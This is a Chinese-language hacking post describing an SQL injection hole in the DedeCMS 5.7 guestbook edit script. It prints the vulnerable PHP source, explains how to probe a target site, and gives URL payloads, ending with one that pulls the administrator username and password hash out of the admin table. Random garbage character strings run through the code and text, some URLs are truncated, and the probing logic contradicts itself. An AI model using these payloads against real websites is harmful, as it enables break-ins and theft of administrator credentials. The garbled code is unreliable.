dedecms5.7最新sql注射漏洞利用 guestbook.php

admin

影响版本为5.7
! f5 p' E1 S: |8 ~6 X/ @) ]
漏洞文件edit.inc.php具体代码：
0 ]9 N8 ?! Z: R3 S7 x8 z
< ?php  
& X: n9 W; q- T1 B( ~
( p, W; _' j9 a. @: {2 O5 ]if(!defined('DEDEINC')) exit('Request Error!');  
9 S% M0 {5 h5 E9 F! d1 k  U$ p
. a  G! _% _, I9 e; d. Z   
) m6 M7 B' ~+ c! e" I
/ f( F  Y# ]" b% \if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  
  D$ y7 Z" X1 X( D# d7 N( B
" s( {7 u2 c6 Eelse $GUEST_BOOK_POS = "guestbook.php";  

   

$id = intval($id);  

# E% f8 v* E! I& a2 t! t0 U1 J2 Cif(empty($job)) $job='view';  

3 X  B# \) m; F   
# q0 F, ^( x$ f$ i# v
3 M+ k: [9 C( eif($job=='del' && $g_isadmin)  

{  
2 g4 f" y  @4 W+ d+ m3 r
$ k; v- j, \$ A2 C: a$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  

ShowMsg("成功删除一条留言！", $GUEST_BOOK_POS);  
' o& q( T0 L  u' Y! O( W) ^
: ]/ R, u, I% v; }( x1 m1 F, lexit();  
1 e, B0 ]: Y* t  b
}  

else if($job=='check' && $g_isadmin)  

{  
$ \- f" i, y' V: z
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  

ShowMsg("成功审核一条留言！", $GUEST_BOOK_POS);  

+ k2 H  C- ]3 G) c" T* uexit();  

}  
  f0 j$ m7 p8 j: `3 g" D8 s5 C/ y
else if($job=='editok')  
9 x0 G) k$ Y( l; f7 g
$ g, `  H: y/ i" }! [% o: Q+ \9 s& J{  

$remsg = trim($remsg);  

if($remsg!='')  
+ l4 W4 E$ j* V: o. n
{  
' \: K1 x# i  P0 m# r" d( N
/ u$ j  E" d; P$ k//管理员回复不过滤HTML By:Errorera blog:errs.cc  

if($g_isadmin)  

{  

$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  
& d: }# I$ R& q* N% C
/ z4 \6 O+ `0 P' h) p//$remsg <br /><font color=red>管理员回复：</font> }  

1 G8 y4 S$ Y" p) Gelse

; I5 H3 R* [* ~( V  d4 E{  

4 }8 o/ R, v3 v5 Z$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  

$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  

$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
1 ]6 b( ^: M0 q/ e5 q- s; x
$msg = $oldmsg.$remsg;  

3 y/ O8 V( ~$ ]$ {8 f0 `- R}  

}  

3 e2 R5 |' ^6 Q//这里没有对$msg过滤，导致可以任意注入了By:Errorera home:www.errs.cc  
6 `  _3 O: y; s- K4 I
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  
% s, W) U0 U8 ~. N
4 `& l* t6 R. j  }ShowMsg("成功更改或回复一条留言！", $GUEST_BOOK_POS);  

exit();  

7 Y9 ?, L+ T% J( g  l8 F}  

//home:www.errs.cc  
/ h1 W+ I: s9 A: a3 ]6 I) Y5 M
$ @! ~: G. _% L/ R$ {& C6 vif($g_isadmin)  
9 k- `( }1 p1 C' ^, ?0 _) i' e
{  
% d0 w5 z: a1 a7 }) B, _! U
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
9 j5 `" Z  r- T: M' i" |- n! [
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  
" v  l( O* \, W: O* R" J, S
* Y4 _" N) I* j. Y3 _4 O}  

else
! Q! v! S8 U; W9 f4 G  h1 `
$ T/ d0 O5 @1 w$ D+ M2 R{  
$ L! N, ~1 R8 b: ^4 W* O$ l
* v) b' W' y$ |% S  g2 J  x' B* M$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  

require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  
5 {( U; h$ j& {4 K1 }* g
} 漏洞成功需要条件：
/ ]$ b% e- R5 ~4 x6 y1. php magic_quotes_gpc=off
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。

怎么判断是否存在漏洞：
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言，
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
( ]/ f) I( j) A' _9 D8 r& }访问：
3 c6 N- o9 }& o- \
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证


% O9 a$ x  b: M6 Y8 z5 q  r) p明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
) G+ [8 a' u; |7 ~/ S# {7 w3 \0 ?如果没有修改成功，那留言ID的内容还是以前的 那就证明漏洞可以利用。
' g% h" U. v$ H$ m( ~  @5 D那么再次访问
" F) m1 c1 O0 o7 Y
6 g& X$ [! q, V" m% n; rwww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回，那条留言ID的内容就直接修改成了mysql 的user().

大概利用就是这样，大家有兴趣的多研究下！！

最后补充下，估计有人会说怎么暴管理后台帐户密码，你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)！！
8 L* ?/ Z. d# {& G3 t: q
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='